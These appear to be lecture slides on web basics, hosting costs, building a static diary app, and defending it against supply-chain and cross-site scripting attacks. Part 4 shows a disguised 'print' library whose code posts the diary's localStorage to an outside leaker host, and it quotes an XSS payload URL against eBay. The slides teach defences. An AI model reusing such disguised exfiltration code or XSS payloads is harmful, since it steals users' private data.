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This lecture has four parts.
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Part 1. Review the basics of the web

Part 2. Introduce the economics of the web

Part 3. Create a static application for the web

Part 4. Explain top static app cyber-attacks and defenses



All you should need is a little programming background.
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(GitHub Copilot, GPT 4.1)



Part 1 of 4: Web Basics
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Part 1 of 4: Web Basics

Computers can call each other like phones.
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+1 (305) 204-1750 +1 (626) 204-1750



Part 1 of 4: Web Basics

They use Internet Protocol (IP) addresses for this.

73.116.110.79

d948:5937:5443:78ce:8a56:e8fe:1122:ab06

ac6f:8d11:23b9:78dc:5178:c4ff:c085:35ec

108.68.15.38

IP = Internet Protocol 7



Part 1 of 4: Web Basics

They can also split up one number like phones.
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+1 (305) 204-1750 

 ext. 4453

 ext. 1222

+1 (626) 204-1750



Part 1 of 4: Web Basics

Ports let many services use an IP.

108.68.15.38
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Part 1 of 4: Web Basics

Ports let many services use an IP.

108.68.15.38:1194
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Part 1 of 4: Web Basics

Ports let many services use an IP.

108.68.15.38:1194

108.68.15.38:22

108.68.15.38:80

108.68.15.38:443

108.68.15.38:40777
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Part 1 of 4: Web Basics

Ports let many services use an IP.

108.68.15.38:1194

108.68.15.38:22

108.68.15.38:80

108.68.15.38:443

108.68.15.38:40777
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GET http://108.68.15.38

GET https://108.68.15.38

$ custom-app 108.68.15.38–p 40777

$ ssh 108.68.15.38

$ openvpn –-remote 108.68.15.38



Part 1 of 4: Web Basics

Web services mostly use HTTP.

108.68.15.38:80

108.68.15.38:443

HTTP = Hypertext Transfer Protocol

GET http://108.68.15.38

GET https://108.68.15.38
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Part 1 of 4: Web Basics

Good web services use HTTPS.

108.68.15.38:443GET https://108.68.15.38
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HTTPS = Hypertext Transfer Protocol Secure



Part 1 of 4: Web Basics

I tell my domain registrar what IP will serve my site. 
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Part 1 of 4: Web Basics

I tell my domain registrar what IP will serve my site. 
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Part 1 of 4: Web Basics

DNS records become public for lookup.

DNS = Domain Name System
17



Part 1 of 4: Web Basics

DNS records become public for lookup.

DNS = Domain Name System
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Part 1 of 4: Web Basics

The domain name is an alias for some IP.

19



Part 1 of 4: Web Basics

The domain name is an alias for some IP.
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Part 1 of 4: Web Basics

The domain name is an alias for some IP.
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Part 1 of 4: Web Basics

The domain name is an alias for some IP.
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Takeaway  Websites aren’t magic.
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How does the server actually work?
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Part 2 of 4: Web Economics
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Part 2 of 4: Web Economics

There are increasingly costly and useful options.
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Cost Horizontal Scaling Option

$ very easy serve static content

$$$ easy serve stateless dynamic content

$$$$$$ hard serve stateful dynamic content



Part 2 of 4: Web Economics

This file is a complete app that is static.
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<!DOCTYPE html>
<html lang="en">
 <head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>My Webpage</title>
  <style>
   :root {
    color-scheme: dark light;
    font-family: Arial, Helvetica, sans-serif;
    font-size: large;
   }
  </style>
 </head>
 <body>
  <h1>My Webpage</h1>
  <p>The first paragraph on my webpage.</p>
  <button id="alert">Alert Me</button>
  <script type="module">
   const alertButton = document.querySelector("button#alert");
   function onClick(_event) {
    alert("Button clicked!");
   }
   alertButton.addEventListener("click", onClick);
  </script>
 </body>

</html>



Part 2 of 4: Web Economics

It’s just a file on my computer.
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Part 2 of 4: Web Economics

I can use it without the internet.
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Part 2 of 4: Web Economics

I can deploy it to a cloud provider in seconds.
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Part 2 of 4: Web Economics

I’m using free cloud services from Cloudflare.

31



Part 2 of 4: Web Economics

Cloudflare publishes it and handles TLS encryption.
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TLS = Transport Layer Security (the “s” in “https”)



Part 2 of 4: Web Economics

It becomes accessible from the public internet.

33



Part 2 of 4: Web Economics

This is really easy for my cloud provider, Cloudflare.
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example.html

example.html

example.html

example.html

example.html

example.html



Part 2 of 4: Web Economics

Cloudflare will also serve stateless dynamic apps.
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import { Hono } from "hono";
const app = new Hono();

app.get("/random", (c) =>
 c.html("<h1>Random page: " + Math.random() + "</h1>")

);

export default app;



Part 2 of 4: Web Economics

This creates a different HTML page on every request.
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 c.html("<h1>Random page: " + Math.random() + "</h1>")



Part 2 of 4: Web Economics

This creates a different HTML page on every request.
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Part 2 of 4: Web Economics

Stateless dynamic apps are also easy to scale.
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app

app

app

app

app

app



Part 2 of 4: Web Economics

That is why Cloudflare can offer Workers cheaply.
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Part 2 of 4: Web Economics

That is why Cloudflare can offer Workers cheaply.

40



Part 2 of 4: Web Economics

And remember our static approach?
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Part 2 of 4: Web Economics

Unfortunately, database services are not so generous.
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Part 2 of 4: Web Economics

Stateful dynamic content is hard to keep synced.
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app

app

Database

app

Database



Takeaway Prefer static apps over dynamic or stateful ones.
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Part 3 of 4: Creating an App
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Part 3 of 4: Creating an App

Assume a Systems Engineer gives you this.
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Specification

Create/update a diary entry with a form

Load diary on load

Protect the diary as sensitive

Don’t spend any money

Cross-device sync not needed



Part 3 of 4: Creating an App

Feel free to follow along.

47https://github.com/njg4ne



Part 3 of 4: Creating an App

You build the app with 1 file in 2 minutes.
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Part 3 of 4: Creating an App

You deploy it on Cloudflare in under a minute.
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Part 3 of 4: Creating an App

Now it’s on the public internet.
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Takeaway  Its free and easy to put a static app online.
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However, ~online~ is a dangerous place.
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Part 4 of 4: Attacking and Defending an App
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Part 4 of 4: Attacking and Defending an App

Web developers write code for two places.
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Backend (servers)

• Host an API over HTTP

• Store data on disks

• Run native software

Frontend (browsers; clients)

• Make content with HTML

• Style content with CSS

• Run code with JavaScript



Part 4 of 4: Attacking and Defending an App

Static apps can only run frontend code.
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Frontend (browsers; clients)

• Make content with HTML

• Style content with CSS

• Run code with JavaScript



Part 4 of 4: Attacking and Defending an App

The browser isolates frontend code into sandboxes.
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(https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS/same-origin.svg, modified)



The greatest threat to a static app is access to its sandbox.
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Part 4 of 4: Attacking and Defending an App

Amazon and Spotify get different sandboxes.
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Part 4 of 4: Attacking and Defending an App

That’s why they have different localStorage contents.
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The greatest threat to a static app is access to its sandbox.

60



Part 4 of 4: Attacking and Defending an App

Bad TeamGood Team

You need to protect diary users from bad sites.
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Browser User

Bad Site 

(https://bad.fake)

Your Good Site 

(https://diary.fake)



Defense Goal   Protect the diary contents.
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Attack Goal   Steal the diary contents.
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Strategy   Run JavaScript from inside the diary’s sandbox.
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Part 4 of 4: Attacking and Defending an App

Strategy   Run JavaScript from inside the diary’s sandbox.
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(https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS/xss.svg, modified)



Part 4 of 4: Attacking and Defending an App

I built a bad site.
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Part 4 of 4: Attacking and Defending an App

Feel free to follow along.

67https://github.com/njg4ne



Part 4 of 4: Attacking and Defending an App

Recall https://diary.njg4ne.workers.dev/index.html 
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const STORAGE_KEY = "diaryContent";
...
function onInput(inputEvent) {
 window.localStorage.setItem(STORAGE_KEY, inputEvent.target.value);

}



Part 4 of 4: Attacking and Defending an App

https://leaker.njg4ne.workers.dev/useful-print-library.js
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export const print = console.log;
const method = "POST";
const body = new FormData();
body.append(
 "leak",
 JSON.stringify(window.localStorage.getItem("diaryContent"))
);
const headers = { Accept: "application/json", "x-leaker-anti-csrf": "1" };
fetch(`${"https://leaker.njg4ne.workers.dev"}/leak`, {
 method,
 body,
 headers,
}).then(({ ok }) => {
 if (ok) {
  alert("  A Troll Leaked Your Diary ");
 }
});



Part 4 of 4: Attacking and Defending an App

POST to /leak publicizes the secret for anyone to see. 
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Attack Goal   Steal the diary contents.

71



Strategy   Run JavaScript from inside the diary’s sandbox.
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Attack 1   Supply Chain
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Part 4 of 4: Attacking and Defending an App

You voluntarily import my cool library to your sandbox.
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import { print } from "https://leaker.njg4ne.workers.dev/useful-print-library.js";

print("Hello from print function");



Part 4 of 4: Attacking and Defending an App

You hack yourself.
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Supply Chain Defense   Don’t run untrusted libraries.
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Attack 2   Cross-site scripting (XSS)
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Attack Goal   Steal the diary contents.
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Strategy   Run JavaScript from inside the diary’s sandbox.
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Part 4 of 4: Attacking and Defending an App

You add a new feature that is XSS vulnerable.
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Part 4 of 4: Attacking and Defending an App

Going to a carefully written URL fetches and runs the attack.

81URL = Uniform Resource Locator



Part 4 of 4: Attacking and Defending an App

Reputable websites often miss XSS vulnerabilities.
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https://sm.ebay.co.uk/smdraft?active=0&active=<script>alert(1);</script>

(Joseph Redfern)



Part 4 of 4: Attacking and Defending an App

XSS Defense 1  Use a safe sink
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Part 4 of 4: Attacking and Defending an App

XSS Defense 2  Sanitize HTML with a trusted library
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Part 4 of 4: Attacking and Defending an App

XSS Defense 3  Set a Content Security Policy (HTML meta)
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Part 4 of 4: Attacking and Defending an App

Wack-a-Mole   Follow your own Content Security Policy

86Wack-a-Mole  (Matel, Inc., El Segundo, CA)



Part 4 of 4: Attacking and Defending an App

XSS Defense 3  Set a Content Security Policy (HTTP header)
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Part 4 of 4: Attacking and Defending an App

XSS Defenses   Safe sinks + HTML sanitization + CSP

88CSP = Content Security Policy



Takeaway  Even static apps need protection from evil code.
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Summary
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Part 1. Review the basics of the web

Part 2. Introduce the economics of the web

Part 3. Create a static application for the web

Part 4. Explain top static app cyber-attacks and defenses
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Nicholas Gardella

njg4ne@virginia.edu

https://n.gardella.cc/
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